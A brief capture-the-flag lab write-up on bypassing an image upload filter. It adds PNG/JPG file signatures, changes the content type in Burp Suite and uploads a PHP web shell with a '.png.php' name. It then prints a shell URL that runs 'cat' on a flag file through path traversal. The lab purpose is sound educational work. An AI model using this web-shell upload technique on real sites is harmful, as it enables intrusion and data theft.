Simple Web 0x06(Lab - Image Space 0x03)
tags: NTUSTWS CTF Web
Challenge: http://h4ck3r.quest:9012
Background
Source code
1 | |
It has 2 extra constraint must be bypassed. Use burpsuite and change valid file signature
Exploit - bypass IMAGETYPE + bypass $_FILES['image_file']['type']
HxD- bypassIMAGETYPE- Add valid file signature at the beginning from wiki page
- png:
89 50 4E 47 0D 0A 1A 0A - jpg:
FF D8 FF DB
burpsuite- bypass file type
- Then we got shell!!!
- payload
1
http://h4ck3r.quest:9012/images/353d74c11becb9b1_webshell_valid_filetype.png.php?sh=cat%20../../../../flag
- payload